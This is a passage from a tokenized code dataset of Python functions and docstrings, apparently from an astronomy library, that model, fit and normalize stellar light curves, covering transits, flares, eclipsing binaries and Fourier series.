magsarefluxes:<EOL><INDENT>plt.gca().invert_yaxis()<EOL>plt.ylabel('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>plt.ylabel('<STR_LIT>')<EOL><DEDENT>plt.xlabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL>plt.subplot(<NUM_LIT>)<EOL>plt.plot(mtimes,mmags,<EOL>marker='<STR_LIT:.>',<EOL>color='<STR_LIT:g>',<EOL>linestyle='<STR_LIT:None>',<EOL>markersize=<NUM_LIT>,<EOL>markeredgewidth=<NUM_LIT:0>)<EOL>if not magsarefluxes:<EOL><INDENT>plt.gca().invert_yaxis()<EOL>plt.ylabel('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>plt.ylabel('<STR_LIT>')<EOL><DEDENT>plt.xlabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL>plt.subplot(<NUM_LIT>)<EOL>plt.plot(phases,smags,<EOL>marker='<STR_LIT:.>',<EOL>color='<STR_LIT:k>',<EOL>linestyle='<STR_LIT:None>',<EOL>markersize=<NUM_LIT>,<EOL>markeredgewidth=<NUM_LIT:0>)<EOL>if not magsarefluxes:<EOL><INDENT>plt.gca().invert_yaxis()<EOL>plt.ylabel('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>plt.ylabel('<STR_LIT>')<EOL><DEDENT>plt.xlabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL>plt.subplot(<NUM_LIT>)<EOL>plt.plot(mphases,mmags,<EOL>marker='<STR_LIT:.>',<EOL>color='<STR_LIT:g>',<EOL>linestyle='<STR_LIT:None>',<EOL>markersize=<NUM_LIT>,<EOL>markeredgewidth=<NUM_LIT:0>)<EOL>if not magsarefluxes:<EOL><INDENT>plt.gca().invert_yaxis()<EOL>plt.ylabel('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>plt.ylabel('<STR_LIT>')<EOL><DEDENT>plt.xlabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL><DEDENT>plt.tight_layout()<EOL>plt.savefig(plotfit, format='<STR_LIT>', pad_inches=<NUM_LIT:0.0>)<EOL>plt.close()<EOL>if isinstance(plotfit, str) or isinstance(plotfit, Strio):<EOL><INDENT>returndict['<STR_LIT>'] = plotfit<EOL><DEDENT><DEDENT>return returndict<EOL>", "docstring": "This removes repeating signals in the magnitude time series.\n\n    Useful for masking planetary transit signals in light curves to search for\n    other variability.\n\n    A small worked example of using this and `prewhiten_magseries` above:\n\n    https://github.com/waqasbhatti/astrobase/issues/77#issuecomment-463803558\n\n    Parameters\n    ----------\n\n    times,mags,errs : np.array\n        The input mag/flux time-series to run the masking on.\n\n    signalperiod : float\n        The period of the signal to mask.\n\n    signalepoch : float\n        The epoch of the signal to mask.\n\n    magsarefluxes : bool\n        Set to True if `mags` is actually an array of fluxes.\n\n    maskphases : sequence of floats\n        This defines which phase values will be masked. For each item in this\n        sequence, this function will mask a length of phase given by\n        `maskphaselength` centered on each `maskphases` value, and remove all LC\n        points in these regions from the light curve.\n\n    maskphaselength : float\n        The length in phase to mask for each phase value provided in\n        `maskphases`.\n\n    plotfit : str or None\n        If provided as a str, indicates the output plot file.\n\n    plotfitphasedlconly : bool\n        If True, will only plot the effect of masking the signal as requested on\n        the phased LC. If False, will also plot the unphased LC.\n\n    sigclip : float or int or sequence of two floats/ints or None\n        If a single float or int, a symmetric sigma-clip will be performed using\n        the number provided as the sigma-multiplier to cut out from the input\n        time-series.\n\n        If a list of two ints/floats is provided, the function will perform an\n        'asymmetric' sigma-clip. The first element in this list is the sigma\n        value to use for fainter flux/mag values; the second element in this\n        list is the sigma value to use for brighter flux/mag values. For\n        example, `sigclip=[10., 3.]`, will sigclip out greater than 10-sigma\n        dimmings and greater than 3-sigma brightenings. Here the meaning of\n        \"dimming\" and \"brightening\" is set by *physics* (not the magnitude\n        system), which is why the `magsarefluxes` kwarg must be correctly set.\n\n        If `sigclip` is None, no sigma-clipping will be performed, and the\n        time-series (with non-finite elems removed) will be passed through to\n        the output.", "id": "f14733:m2"}
{"signature": "def add_flare_model(flareparams,<EOL>times,<EOL>mags,<EOL>errs):", "body": "modelmags, ftimes, fmags, ferrs = flares.flare_model(<EOL>flareparams,<EOL>times,<EOL>mags,<EOL>errs<EOL>)<EOL>return {'<STR_LIT>':times,<EOL>'<STR_LIT>':mags + modelmags,<EOL>'<STR_LIT>':errs,<EOL>'<STR_LIT>':flareparams}<EOL>", "docstring": "This adds a flare model function to the input magnitude/flux time-series.\n\n    Parameters\n    ----------\n\n    flareparams : list of float\n        This defines the flare model::\n\n            [amplitude,\n             flare_peak_time,\n             rise_gaussian_stdev,\n             decay_time_constant]\n\n        where:\n\n        `amplitude`: the maximum flare amplitude in mags or flux. If flux, then\n        amplitude should be positive. If mags, amplitude should be negative.\n\n        `flare_peak_time`: time at which the flare maximum happens.\n\n        `rise_gaussian_stdev`: the stdev of the gaussian describing the rise of\n        the flare.\n\n        `decay_time_constant`: the time constant of the exponential fall of the\n        flare.\n\n    times,mags,errs : np.array\n        The input time-series of measurements and associated errors for which\n        the model will be generated. The times will be used to generate\n        model mags.\n\n    magsarefluxes : bool\n        Sets the correct direction of the flare amplitude (+ve) for fluxes if\n        True and for mags (-ve) if False.\n\n    Returns\n    -------\n\n    dict\n        A dict of the form below is returned::\n\n        {'times': the original times array\n         'mags': the original mags + the flare model mags evaluated at times,\n         'errs': the original errs array,\n         'flareparams': the input list of flare params}", "id": "f14735:m0"}
{"signature": "def simple_flare_find(times, mags, errs,<EOL>smoothbinsize=<NUM_LIT>,<EOL>flare_minsigma=<NUM_LIT>,<EOL>flare_maxcadencediff=<NUM_LIT:1>,<EOL>flare_mincadencepoints=<NUM_LIT:3>,<EOL>magsarefluxes=False,<EOL>savgol_polyorder=<NUM_LIT:2>,<EOL>**savgol_kwargs):", "body": "<EOL>if errs is None:<EOL><INDENT>errs = <NUM_LIT>*mags<EOL><DEDENT>finiteind = np.isfinite(times) & np.isfinite(mags) & np.isfinite(errs)<EOL>ftimes = times[finiteind]<EOL>fmags = mags[finiteind]<EOL>ferrs = errs[finiteind]<EOL>smoothed = savgol_filter(fmags,<EOL>smoothbinsize,<EOL>savgol_polyorder,<EOL>**savgol_kwargs)<EOL>subtracted = fmags - smoothed<EOL>series_mad = np.median(np.abs(subtracted))<EOL>series_stdev = <NUM_LIT>*series_mad<EOL>if magsarefluxes:<EOL><INDENT>extind = np.where(subtracted > (flare_minsigma*series_stdev))<EOL><DEDENT>else:<EOL><INDENT>extind = np.where(subtracted < (-flare_minsigma*series_stdev))<EOL><DEDENT>if extind and extind[<NUM_LIT:0>]:<EOL><INDENT>extrema_indices = extind[<NUM_LIT:0>]<EOL>flaregroups = []<EOL>for ind, extrema_index in enumerate(extrema_indices):<EOL><INDENT>pass<EOL><DEDENT><DEDENT>", "docstring": "This finds flares in time series using the method in Walkowicz+ 2011.\n\n    FIXME: finish this.\n\n    Parameters\n    ----------\n\n    times,mags,errs : np.array\n        The input time-series to find flares in.\n\n    smoothbinsize : int\n        The number of consecutive light curve points to smooth over in the time\n        series using a Savitsky-Golay filter. The smoothed light curve is then\n        subtracted from the actual light curve to remove trends that potentially\n        last `smoothbinsize` light curve points. The default value is chosen as\n        ~6.5 hours (97 x 4 minute cadence for HATNet/HATSouth).\n\n    flare_minsigma : float\n        The minimum sigma above the median LC level to designate points as\n        belonging to possible flares.\n\n    flare_maxcadencediff : int\n        The maximum number of light curve points apart each possible flare event\n        measurement is allowed to be. If this is 1, then we'll look for\n        consecutive measurements.\n\n    flare_mincadencepoints : int\n        The minimum number of light curve points (each `flare_maxcadencediff`\n        points apart) required that are at least `flare_minsigma` above the\n        median light curve level to call an event a flare.\n\n    magsarefluxes: bool\n        If True, indicates that mags is actually an array of fluxes.\n\n    savgol_polyorder: int\n        The polynomial order of the function used by the Savitsky-Golay filter.\n\n    savgol_kwargs : extra kwargs\n        Any remaining keyword arguments are passed directly to the\n        `savgol_filter` function from `scipy.signal`.\n\n    Returns\n    -------\n\n    (nflares, flare_indices) : tuple\n        Returns the total number of flares found and their time-indices (start,\n        end) as tuples.", "id": "f14735:m1"}
{"signature": "def trapezoid_transit_func(transitparams, times, mags, errs,<EOL>get_ntransitpoints=False):", "body": "(transitperiod,<EOL>transitepoch,<EOL>transitdepth,<EOL>transitduration,<EOL>ingressduration) = transitparams<EOL>iphase = (times - transitepoch)/transitperiod<EOL>iphase = iphase - np.floor(iphase)<EOL>phasesortind = np.argsort(iphase)<EOL>phase = iphase[phasesortind]<EOL>ptimes = times[phasesortind]<EOL>pmags = mags[phasesortind]<EOL>perrs = errs[phasesortind]<EOL>zerolevel = np.median(pmags)<EOL>modelmags = np.full_like(phase, zerolevel)<EOL>halftransitduration = transitduration/<NUM_LIT><EOL>bottomlevel = zerolevel - transitdepth<EOL>slope = transitdepth/ingressduration<EOL>firstcontact = <NUM_LIT:1.0> - halftransitduration<EOL>secondcontact = firstcontact + ingressduration<EOL>thirdcontact = halftransitduration - ingressduration<EOL>fourthcontact = halftransitduration<EOL>ingressind = (phase > firstcontact) & (phase < secondcontact)<EOL>bottomind = (phase > secondcontact) | (phase < thirdcontact)<EOL>egressind = (phase > thirdcontact) & (phase < fourthcontact)<EOL>in_transit_points = ingressind | bottomind | egressind<EOL>n_transit_points = np.sum(in_transit_points)<EOL>modelmags[ingressind] = zerolevel - slope*(phase[ingressind] - firstcontact)<EOL>modelmags[bottomind] = bottomlevel<EOL>modelmags[egressind] = bottomlevel + slope*(phase[egressind] - thirdcontact)<EOL>if get_ntransitpoints:<EOL><INDENT>return modelmags, phase, ptimes, pmags, perrs, n_transit_points<EOL><DEDENT>else:<EOL><INDENT>return modelmags, phase, ptimes, pmags, perrs<EOL><DEDENT>", "docstring": "This returns a trapezoid transit-shaped function.\n\n    Suitable for first order modeling of transit signals.\n\n    Parameters\n    ----------\n\n    transitparams : list of float\n        This contains the transiting planet trapezoid model::\n\n            transitparams = [transitperiod (time),\n                             transitepoch (time),\n                             transitdepth (flux or mags),\n                             transitduration (phase),\n                             ingressduration (phase)]\n\n        All of these will then have fitted values after the fit is done.\n\n        - for magnitudes -> `transitdepth` should be < 0\n        - for fluxes     -> `transitdepth` should be > 0\n\n    times,mags,errs : np.array\n        The input time-series of measurements and associated errors for which\n        the transit model will be generated. The times will be used to generate\n        model mags, and the input `times`, `mags`, and `errs` will be resorted\n        by model phase and returned.\n\n    Returns\n    -------\n\n    (modelmags, phase, ptimes, pmags, perrs) : tuple\n        Returns the model mags and phase values. Also returns the input `times`,\n        `mags`, and `errs` sorted by the model's phase.", "id": "f14737:m0"}
{"signature": "def trapezoid_transit_residual(transitparams, times, mags, errs):", "body": "modelmags, phase, ptimes, pmags, perrs = (<EOL>trapezoid_transit_func(transitparams, times, mags, errs)<EOL>)<EOL>return (pmags - modelmags)/perrs<EOL>", "docstring": "This returns the residual between the modelmags and the actual mags.\n\nParameters\n----------\n\ntransitparams : list of float\n    This contains the transiting planet trapezoid model::\n\n        transitparams = [transitperiod (time),\n                         transitepoch (time),\n                         transitdepth (flux or mags),\n                         transitduration (phase),\n                         ingressduration (phase)]\n\n    All of these will then have fitted values after the fit is done.\n\n    - for magnitudes -> `transitdepth` should be < 0\n    - for fluxes     -> `transitdepth` should be > 0\n\ntimes,mags,errs : np.array\n    The input time-series of measurements and associated errors for which\n    the transit model will be generated. The times will be used to generate\n    model mags, and the input `times`, `mags`, and `errs` will be resorted\n    by model phase and returned.\n\nReturns\n-------\n\nnp.array\n    The residuals between the input `mags` and generated `modelmags`,\n    weighted by the measurement errors in `errs`.", "id": "f14737:m1"}
{"signature": "def fourier_sinusoidal_func(fourierparams, times, mags, errs):", "body": "period, epoch, famps, fphases = fourierparams<EOL>forder = len(famps)<EOL>iphase = (times - epoch)/period<EOL>iphase = iphase - np.floor(iphase)<EOL>phasesortind = np.argsort(iphase)<EOL>phase = iphase[phasesortind]<EOL>ptimes = times[phasesortind]<EOL>pmags = mags[phasesortind]<EOL>perrs = errs[phasesortind]<EOL>fseries = [famps[x]*np.cos(<NUM_LIT>*np.pi*x*phase + fphases[x])<EOL>for x in range(forder)]<EOL>modelmags = np.median(mags)<EOL>for fo in fseries:<EOL><INDENT>modelmags += fo<EOL><DEDENT>return modelmags, phase, ptimes, pmags, perrs<EOL>", "docstring": "This generates a sinusoidal light curve using a Fourier cosine series.\n\n    Parameters\n    ----------\n\n    fourierparams : list\n        This MUST be a list of the following form like so::\n\n            [period,\n             epoch,\n             [amplitude_1, amplitude_2, amplitude_3, ..., amplitude_X],\n             [phase_1, phase_2, phase_3, ..., phase_X]]\n\n        where X is the Fourier order.\n\n    times,mags,errs : np.array\n        The input time-series of measurements and associated errors for which\n        the model will be generated. The times will be used to generate model\n        mags, and the input `times`, `mags`, and `errs` will be resorted by\n        model phase and returned.\n\n    Returns\n    -------\n\n    (modelmags, phase, ptimes, pmags, perrs) : tuple\n        Returns the model mags and phase values. Also returns the input `times`,\n        `mags`, and `errs` sorted by the model's phase.", "id": "f14738:m0"}
{"signature": "def fourier_sinusoidal_residual(fourierparams, times, mags, errs):", "body": "modelmags, phase, ptimes, pmags, perrs = (<EOL>fourier_sinusoidal_func(fourierparams, times, mags, errs)<EOL>)<EOL>return (pmags - modelmags)/perrs<EOL>", "docstring": "This returns the residual between the model mags and the actual mags.\n\nParameters\n----------\n\nfourierparams : list\n    This MUST be a list of the following form like so::\n\n        [period,\n         epoch,\n         [amplitude_1, amplitude_2, amplitude_3, ..., amplitude_X],\n         [phase_1, phase_2, phase_3, ..., phase_X]]\n\n    where X is the Fourier order.\n\ntimes,mags,errs : np.array\n    The input time-series of measurements and associated errors for which\n    the model will be generated. The times will be used to generate model\n    mags, and the input `times`, `mags`, and `errs` will be resorted by\n    model phase and returned.\n\nReturns\n-------\n\nnp.array\n    The residuals between the input `mags` and generated `modelmags`,\n    weighted by the measurement errors in `errs`.", "id": "f14738:m1"}
{"signature": "def sine_series_sum(fourierparams, times, mags, errs):", "body": "period, epoch, famps, fphases = fourierparams<EOL>forder = len(famps)<EOL>iphase = (times - epoch)/period<EOL>iphase = iphase - np.floor(iphase)<EOL>phasesortind = np.argsort(iphase)<EOL>phase = iphase[phasesortind]<EOL>ptimes = times[phasesortind]<EOL>pmags = mags[phasesortind]<EOL>perrs = errs[phasesortind]<EOL>fseries = [famps[x]*np.sin(<NUM_LIT>*np.pi*x*phase + fphases[x])<EOL>for x in range(forder)]<EOL>modelmags = np.median(mags)<EOL>for fo in fseries:<EOL><INDENT>modelmags += fo<EOL><DEDENT>return modelmags, phase, ptimes, pmags, perrs<EOL>", "docstring": "This generates a sinusoidal light curve using a Fourier sine series.\n\n    Parameters\n    ----------\n\n    fourierparams : list\n        This MUST be a list of the following form like so::\n\n            [period,\n             epoch,\n             [amplitude_1, amplitude_2, amplitude_3, ..., amplitude_X],\n             [phase_1, phase_2, phase_3, ..., phase_X]]\n\n        where X is the Fourier order.\n\n    times,mags,errs : np.array\n        The input time-series of measurements and associated errors for which\n        the model will be generated. The times will be used to generate model\n        mags, and the input `times`, `mags`, and `errs` will be resorted by\n        model phase and returned.\n\n    Returns\n    -------\n\n    (modelmags, phase, ptimes, pmags, perrs) : tuple\n        Returns the model mags and phase values. Also returns the input `times`,\n        `mags`, and `errs` sorted by the model's phase.", "id": "f14738:m2"}
{"signature": "def _gaussian(x, amp, loc, std):", "body": "return amp * np.exp(-((x - loc)*(x - loc))/(<NUM_LIT>*std*std))<EOL>", "docstring": "This is a simple gaussian.\n\n    Parameters\n    ----------\n\n    x : np.array\n        The items at which the Gaussian is evaluated.\n\n    amp : float\n        The amplitude of the Gaussian.\n\n    loc : float\n        The central value of the Gaussian.\n\n    std : float\n        The standard deviation of the Gaussian.\n\n    Returns\n    -------\n\n    np.array\n        Returns the Gaussian evaluated at the items in `x`, using the provided\n        parameters of `amp`, `loc`, and `std`.", "id": "f14739:m0"}
{"signature": "def _double_inverted_gaussian(x,<EOL>amp1, loc1, std1,<EOL>amp2, loc2, std2):", "body": "gaussian1 = -_gaussian(x,amp1,loc1,std1)<EOL>gaussian2 = -_gaussian(x,amp2,loc2,std2)<EOL>return gaussian1 + gaussian2<EOL>", "docstring": "This is a double inverted gaussian.\n\n    Parameters\n    ----------\n\n    x : np.array\n        The items at which the Gaussian is evaluated.\n\n    amp1,amp2 : float\n        The amplitude of Gaussian 1 and Gaussian 2.\n\n    loc1,loc2 : float\n        The central value of Gaussian 1 and Gaussian 2.\n\n    std1,std2 : float\n        The standard deviation of Gaussian 1 and Gaussian 2.\n\n    Returns\n    -------\n\n    np.array\n        Returns a double inverted Gaussian function evaluated at the items in\n        `x`, using the provided parameters of `amp`, `loc`, and `std` for two\n        component Gaussians 1 and 2.", "id": "f14739:m1"}
{"signature": "def invgauss_eclipses_func(ebparams, times, mags, errs):", "body": "(period, epoch, pdepth, pduration, depthratio, secondaryphase) = ebparams<EOL>iphase = (times - epoch)/period<EOL>iphase = iphase - np.floor(iphase)<EOL>phasesortind = np.argsort(iphase)<EOL>phase = iphase[phasesortind]<EOL>ptimes = times[phasesortind]<EOL>pmags = mags[phasesortind]<EOL>perrs = errs[phasesortind]<EOL>zerolevel = np.median(pmags)<EOL>modelmags = np.full_like(phase, zerolevel)<EOL>primaryecl_amp = -pdepth<EOL>secondaryecl_amp = -pdepth * depthratio<EOL>primaryecl_std = pduration/<NUM_LIT>    <EOL>secondaryecl_std = pduration/<NUM_LIT>  <EOL>halfduration = pduration/<NUM_LIT><EOL>primary_eclipse_ingress = (<EOL>(phase >= (<NUM_LIT:1.0> - halfduration)) & (phase <= <NUM_LIT:1.0>)<EOL>)<EOL>primary_eclipse_egress = (<EOL>(phase >= <NUM_LIT:0.0>) & (phase <= halfduration)<EOL>)<EOL>secondary_eclipse_phase = (<EOL>(phase >= (secondaryphase - halfduration)) &<EOL>(phase <= (secondaryphase + halfduration))<EOL>)<EOL>modelmags[primary_eclipse_ingress] = (<EOL>zerolevel + _gaussian(phase[primary_eclipse_ingress],<EOL>primaryecl_amp,<EOL><NUM_LIT:1.0>,<EOL>primaryecl_std)<EOL>)<EOL>modelmags[primary_eclipse_egress] = (<EOL>zerolevel + _gaussian(phase[primary_eclipse_egress],<EOL>primaryecl_amp,<EOL><NUM_LIT:0.0>,<EOL>primaryecl_std)<EOL>)<EOL>modelmags[secondary_eclipse_phase] = (<EOL>zerolevel + _gaussian(phase[secondary_eclipse_phase],<EOL>secondaryecl_amp,<EOL>secondaryphase,<EOL>secondaryecl_std)<EOL>)<EOL>return modelmags, phase, ptimes, pmags, perrs<EOL>", "docstring": "This returns a double eclipse shaped function.\n\n    Suitable for first order modeling of eclipsing binaries.\n\n    Parameters\n    ----------\n\n    ebparams : list of float\n        This contains the parameters for the eclipsing binary::\n\n            ebparams = [period (time),\n                        epoch (time),\n                        pdepth: primary eclipse depth (mags),\n                        pduration: primary eclipse duration (phase),\n                        psdepthratio: primary-secondary eclipse depth ratio,\n                        secondaryphase: center phase of the secondary eclipse]\n\n        `period` is the period in days.\n\n        `epoch` is the time of minimum in JD.\n\n        `pdepth` is the depth of the primary eclipse.\n\n        - for magnitudes -> pdepth should be < 0\n        - for fluxes     -> pdepth should be > 0\n\n        `pduration` is the length of the primary eclipse in phase.\n\n        `psdepthratio` is the ratio in the eclipse depths:\n        `depth_secondary/depth_primary`. This is generally the same as the ratio\n        of the `T_effs` of the two stars.\n\n        `secondaryphase` is the phase at which the minimum of the secondary\n        eclipse is located. This effectively parameterizes eccentricity.\n\n        All of these will then have fitted values after the fit is done.\n\n    times,mags,errs : np.array\n        The input time-series of measurements and associated errors for which\n        the eclipse model will be generated. The times will be used to generate\n        model mags, and the input `times`, `mags`, and `errs` will be resorted\n        by model phase and returned.\n\n    Returns\n    -------\n\n    (modelmags, phase, ptimes, pmags, perrs) : tuple\n        Returns the model mags and phase values. Also returns the input `times`,\n        `mags`, and `errs` sorted by the model's phase.", "id": "f14739:m2"}
{"signature": "def invgauss_eclipses_residual(ebparams, times, mags, errs):", "body": "modelmags, phase, ptimes, pmags, perrs = (<EOL>invgauss_eclipses_func(ebparams, times, mags, errs)<EOL>)<EOL>return (pmags - modelmags)/perrs<EOL>", "docstring": "This returns the residual between the modelmags and the actual mags.\n\n    Parameters\n    ----------\n\n    ebparams : list of float\n        This contains the parameters for the eclipsing binary::\n\n            ebparams = [period (time),\n                        epoch (time),\n                        pdepth: primary eclipse depth (mags),\n                        pduration: primary eclipse duration (phase),\n                        psdepthratio: primary-secondary eclipse depth ratio,\n                        secondaryphase: center phase of the secondary eclipse]\n\n        `period` is the period in days.\n\n        `epoch` is the time of minimum in JD.\n\n        `pdepth` is the depth of the primary eclipse.\n\n        - for magnitudes -> `pdepth` should be < 0\n        - for fluxes     -> `pdepth` should be > 0\n\n        `pduration` is the length of the primary eclipse in phase.\n\n        `psdepthratio` is the ratio in the eclipse depths:\n        `depth_secondary/depth_primary`. This is generally the same as the ratio\n        of the `T_effs` of the two stars.\n\n        `secondaryphase` is the phase at which the minimum of the secondary\n        eclipse is located. This effectively parameterizes eccentricity.\n\n        All of these will then have fitted values after the fit is done.\n\n    times,mags,errs : np.array\n        The input time-series of measurements and associated errors for which\n        the eclipse model will be generated. The times will be used to generate\n        model mags, and the input `times`, `mags`, and `errs` will be resorted\n        by model phase and returned.\n\n    Returns\n    -------\n\n    np.array\n        The residuals between the input `mags` and generated `modelmags`,\n        weighted by the measurement errors in `errs`.", "id": "f14739:m3"}
{"signature": "def flare_model(flareparams, times, mags, errs):", "body": "(amplitude, flare_peak_time,<EOL>rise_gaussian_stdev, decay_time_constant) = flareparams<EOL>zerolevel = np.median(mags)<EOL>modelmags = np.full_like(times, zerolevel)<EOL>modelmags[times < flare_peak_time] = (<EOL>mags[times < flare_peak_time] +<EOL>amplitude * np.exp(<EOL>-((times[times < flare_peak_time] -<EOL>flare_peak_time) *<EOL>(times[times < flare_peak_time] -<EOL>flare_peak_time)) /<EOL>(<NUM_LIT>*rise_gaussian_stdev*rise_gaussian_stdev)<EOL>)<EOL>)<EOL>modelmags[times > flare_peak_time] = (<EOL>mags[times > flare_peak_time] +<EOL>amplitude * np.exp(<EOL>-((times[times > flare_peak_time] -<EOL>flare_peak_time)) /<EOL>(decay_time_constant)<EOL>)<EOL>)<EOL>return modelmags, times, mags, errs<EOL>", "docstring": "This is a flare model function, similar to Kowalski+ 2011.\n\n    From the paper by Pitkin+ 2014:\n    http://adsabs.harvard.edu/abs/2014MNRAS.445.2268P\n\n    Parameters\n    ----------\n\n    flareparams : list of float\n        This defines the flare model::\n\n            [amplitude,\n             flare_peak_time,\n             rise_gaussian_stdev,\n             decay_time_constant]\n\n        where:\n\n        `amplitude`: the maximum flare amplitude in mags or flux. If flux, then\n        amplitude should be positive. If mags, amplitude should be negative.\n\n        `flare_peak_time`: time at which the flare maximum happens.\n\n        `rise_gaussian_stdev`: the stdev of the gaussian describing the rise of\n        the flare.\n\n        `decay_time_constant`: the time constant of the exponential fall of the\n        flare.\n\n    times,mags,errs : np.array\n        The input time-series of measurements and associated errors for which\n        the model will be generated. The times will be used to generate\n        model mags.\n\n    Returns\n    -------\n\n    (modelmags, times, mags, errs) : tuple\n        Returns the model mags evaluated at the input time values. Also returns\n        the input `times`, `mags`, and `errs`.", "id": "f14740:m0"}
{"signature": "def flare_model_residual(flareparams, times, mags, errs):", "body": "modelmags, _, _, _ = flare_model(flareparams, times, mags, errs)<EOL>return (mags - modelmags)/errs<EOL>", "docstring": "This returns the residual between model mags and the actual mags.\n\nParameters\n----------\n\nflareparams : list of float\n    This defines the flare model::\n\n        [amplitude,\n         flare_peak_time,\n         rise_gaussian_stdev,\n         decay_time_constant]\n\n    where:\n\n    `amplitude`: the maximum flare amplitude in mags or flux. If flux, then\n    amplitude should be positive. If mags, amplitude should be negative.\n\n    `flare_peak_time`: time at which the flare maximum happens.\n\n    `rise_gaussian_stdev`: the stdev of the gaussian describing the rise of\n    the flare.\n\n    `decay_time_constant`: the time constant of the exponential fall of the\n    flare.\n\ntimes,mags,errs : np.array\n    The input time-series of measurements and associated errors for which\n    the model will be generated. The times will be used to generate\n    model mags.\n\nReturns\n-------\n\nnp.array\n    The residuals between the input `mags` and generated `modelmags`,\n    weighted by the measurement errors in `errs`.", "id": "f14740:m1"}
{"signature": "def find_lc_timegroups(lctimes, mingap=<NUM_LIT>):", "body": "lc_time_diffs = np.diff(lctimes)<EOL>group_start_indices = np.where(lc_time_diffs > mingap)[<NUM_LIT:0>]<EOL>if len(group_start_indices) > <NUM_LIT:0>:<EOL><INDENT>group_indices = []<EOL>for i, gindex in enumerate(group_start_indices):<EOL><INDENT>if i == <NUM_LIT:0>:<EOL><INDENT>group_indices.append(slice(<NUM_LIT:0>,gindex+<NUM_LIT:1>))<EOL><DEDENT>else:<EOL><INDENT>group_indices.append(slice(group_start_indices[i-<NUM_LIT:1>]+<NUM_LIT:1>,gindex+<NUM_LIT:1>))<EOL><DEDENT><DEDENT>group_indices.append(slice(group_start_indices[-<NUM_LIT:1>]+<NUM_LIT:1>,len(lctimes)))<EOL><DEDENT>else:<EOL><INDENT>group_indices = [slice(<NUM_LIT:0>,len(lctimes))]<EOL><DEDENT>return len(group_indices), group_indices<EOL>", "docstring": "Finds gaps in the provided time-series and indexes them into groups.\n\n    This finds the gaps in the provided `lctimes` array, so we can figure out\n    which times are for consecutive observations and which represent gaps\n    between seasons or observing eras.\n\n    Parameters\n    ----------\n\n    lctimes : array-like\n        This contains the times to analyze for gaps; assumed to be some form of\n        Julian date.\n\n    mingap : float\n        This defines how much the difference between consecutive measurements is\n        allowed to be to consider them as parts of different timegroups. By\n        default it is set to 4.0 days.\n\n    Returns\n    -------\n\n    tuple\n        A tuple of the form: `(ngroups, [slice(start_ind_1, end_ind_1), ...])`\n        is returned.  This contains the number of groups as the first element,\n        and a list of Python `slice` objects for each time-group found. These\n        can be used directly to index into the array of times to quickly get\n        measurements associated with each group.", "id": "f14742:m0"}
{"signature": "def normalize_magseries(times,<EOL>mags,<EOL>mingap=<NUM_LIT>,<EOL>normto='<STR_LIT>',<EOL>magsarefluxes=False,<EOL>debugmode=False):", "body": "ngroups, timegroups = find_lc_timegroups(times,<EOL>mingap=mingap)<EOL>finite_ind = np.isfinite(mags)<EOL>if any(finite_ind):<EOL><INDENT>global_mag_median = np.median(mags[finite_ind])<EOL>for tgind, tg in enumerate(timegroups):<EOL><INDENT>finite_ind = np.isfinite(mags[tg])<EOL>group_median = np.median((mags[tg])[finite_ind])<EOL>if magsarefluxes:<EOL><INDENT>mags[tg] = mags[tg]/group_median<EOL><DEDENT>else:<EOL><INDENT>mags[tg] = mags[tg] - group_median<EOL><DEDENT>if debugmode:<EOL><INDENT>LOGDEBUG('<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(tgind,<EOL>len(mags[tg]),<EOL>len(finite_ind),<EOL>group_median))<EOL><DEDENT><DEDENT>if isinstance(normto, str) and normto == '<STR_LIT>':<EOL><INDENT>if magsarefluxes:<EOL><INDENT>mags = mags * global_mag_median<EOL><DEDENT>else:<EOL><INDENT>mags = mags + global_mag_median<EOL><DEDENT><DEDENT>elif isinstance(normto, float):<EOL><INDENT>if magsarefluxes:<EOL><INDENT>mags = mags * normto<EOL><DEDENT>else:<EOL><INDENT>mags = mags + normto<EOL><DEDENT><DEDENT>return times, mags<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>')<EOL>return None, None<EOL><DEDENT>", "docstring": "This normalizes the magnitude time-series to a specified value.\n\n    This is used to normalize time series measurements that may have large time\n    gaps and vertical offsets in mag/flux measurement between these\n    'timegroups', either due to instrument changes or different filters.\n\n    NOTE: this works in-place! The mags array will be replaced with normalized\n    mags when this function finishes.\n\n    Parameters\n    ----------\n\n    times,mags : array-like\n        The times (assumed to be some form of JD) and mags (or flux)\n        measurements to be normalized.\n\n    mingap : float\n        This defines how much the difference between consecutive measurements is\n        allowed to be to consider them as parts of different timegroups. By\n        default it is set to 4.0 days.\n\n    normto : {'globalmedian', 'zero'} or a float\n        Specifies the normalization type::\n\n          'globalmedian' -> norms each mag to the global median of the LC column\n          'zero'         -> norms each mag to zero\n          a float        -> norms each mag to this specified float value.\n\n    magsarefluxes : bool\n        Indicates if the input `mags` array is actually an array of flux\n        measurements instead of magnitude measurements. If this is set to True,\n        then:\n\n        - if `normto` is 'zero', then the median flux is divided from each\n          observation's flux value to yield normalized fluxes with 1.0 as the\n          global median.\n\n        - if `normto` is 'globalmedian', then the global median flux value\n          across the entire time series is multiplied with each measurement.\n\n        - if `norm` is set to a `float`, then this number is multiplied with the\n          flux value for each measurement.\n\n    debugmode : bool\n        If this is True, will print out verbose info on each timegroup found.\n\n    Returns\n    -------\n\n    times,normalized_mags : np.arrays\n        Normalized magnitude values after normalization. If normalization fails\n        for some reason, `times` and `normalized_mags` will both be None.", "id": "f14742:m1"}
